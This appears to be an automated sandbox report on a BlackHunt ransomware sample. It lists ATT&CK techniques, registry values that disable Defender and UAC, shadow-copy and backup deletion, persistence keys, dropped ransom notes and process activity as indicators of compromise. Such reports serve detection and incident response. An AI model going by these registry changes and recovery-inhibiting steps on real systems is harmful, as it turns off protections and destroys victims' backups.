eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef

Data Destruction

T1485

pid	Process
1720	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4356	bcdedit.exe
3180	bcdedit.exe

Renames multiple (854) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4504	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\H:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\J:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\M:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\T:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\Y:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\S:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\N:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\W:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\U:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\O:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\G:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\L:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\E:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\X:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\B:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\I:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\Z:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\A:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\K:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened (read-only)	\??\V:	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\plugins\access_output\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jfxrt.jar	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ko-kr\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pl-pl\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\core\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libxslt.md	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jpeg.md	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ro-ro\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\meta-index	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\core\dev\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\icu.md	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_xml.luac	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_HK.properties	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hr-hr\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\app\dev\libs\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\bl.gif	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_Private.key	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_ReadMe.hta	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_ReadMe.txt	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\TrackedSend.aapp	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4964	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4452	vssadmin.exe
4052	vssadmin.exe
2004	vssadmin.exe
4616	vssadmin.exe
4944	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Token: SeRestorePrivilege	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Token: SeBackupPrivilege	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Token: SeTakeOwnershipPrivilege	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Token: SeAuditPrivilege	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Token: SeSecurityPrivilege	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Token: SeIncBasePriorityPrivilege	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Token: SeBackupPrivilege	116	vssvc.exe
Token: SeRestorePrivilege	116	vssvc.exe
Token: SeAuditPrivilege	116	vssvc.exe
Token: SeBackupPrivilege	6436	wbengine.exe
Token: SeRestorePrivilege	6436	wbengine.exe
Token: SeSecurityPrivilege	6436	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 500 wrote to memory of 2376	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	88
PID 500 wrote to memory of 2376	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	88
PID 500 wrote to memory of 1512	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	90
PID 500 wrote to memory of 1512	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	90
PID 500 wrote to memory of 4632	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	92
PID 500 wrote to memory of 4632	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	92
PID 500 wrote to memory of 4572	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	93
PID 500 wrote to memory of 4572	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	93
PID 500 wrote to memory of 4208	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	97
PID 500 wrote to memory of 4208	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	97
PID 2376 wrote to memory of 3136	2376	cmd.exe	96
PID 2376 wrote to memory of 3136	2376	cmd.exe	96
PID 4208 wrote to memory of 2296	4208	cmd.exe	103
PID 4208 wrote to memory of 2296	4208	cmd.exe	103
PID 1512 wrote to memory of 3296	1512	cmd.exe	102
PID 1512 wrote to memory of 3296	1512	cmd.exe	102
PID 4572 wrote to memory of 3692	4572	cmd.exe	100
PID 4572 wrote to memory of 3692	4572	cmd.exe	100
PID 4632 wrote to memory of 1864	4632	cmd.exe	101
PID 4632 wrote to memory of 1864	4632	cmd.exe	101
PID 500 wrote to memory of 1788	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	104
PID 500 wrote to memory of 1788	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	104
PID 500 wrote to memory of 4444	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	107
PID 500 wrote to memory of 4444	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	107
PID 500 wrote to memory of 3612	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	106
PID 500 wrote to memory of 3612	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	106
PID 500 wrote to memory of 1328	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	105
PID 500 wrote to memory of 1328	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	105
PID 500 wrote to memory of 5044	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	110
PID 500 wrote to memory of 5044	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	110
PID 500 wrote to memory of 4056	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	115
PID 500 wrote to memory of 4056	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	115
PID 500 wrote to memory of 3652	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	117
PID 500 wrote to memory of 3652	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	117
PID 500 wrote to memory of 1028	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	119
PID 500 wrote to memory of 1028	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	119
PID 500 wrote to memory of 3976	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	120
PID 500 wrote to memory of 3976	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	120
PID 500 wrote to memory of 2656	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	123
PID 500 wrote to memory of 2656	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	123
PID 500 wrote to memory of 1120	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	126
PID 500 wrote to memory of 1120	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	126
PID 500 wrote to memory of 4452	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	125
PID 500 wrote to memory of 4452	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	125
PID 500 wrote to memory of 3116	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	129
PID 500 wrote to memory of 3116	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	129
PID 500 wrote to memory of 1632	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	131
PID 500 wrote to memory of 1632	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	131
PID 500 wrote to memory of 3948	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	132
PID 500 wrote to memory of 3948	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	132
PID 1788 wrote to memory of 2156	1788	cmd.exe	181
PID 1788 wrote to memory of 2156	1788	cmd.exe	181
PID 500 wrote to memory of 216	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	136
PID 500 wrote to memory of 216	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	136
PID 4444 wrote to memory of 5056	4444	cmd.exe	137
PID 4444 wrote to memory of 5056	4444	cmd.exe	137
PID 1328 wrote to memory of 4872	1328	cmd.exe	139
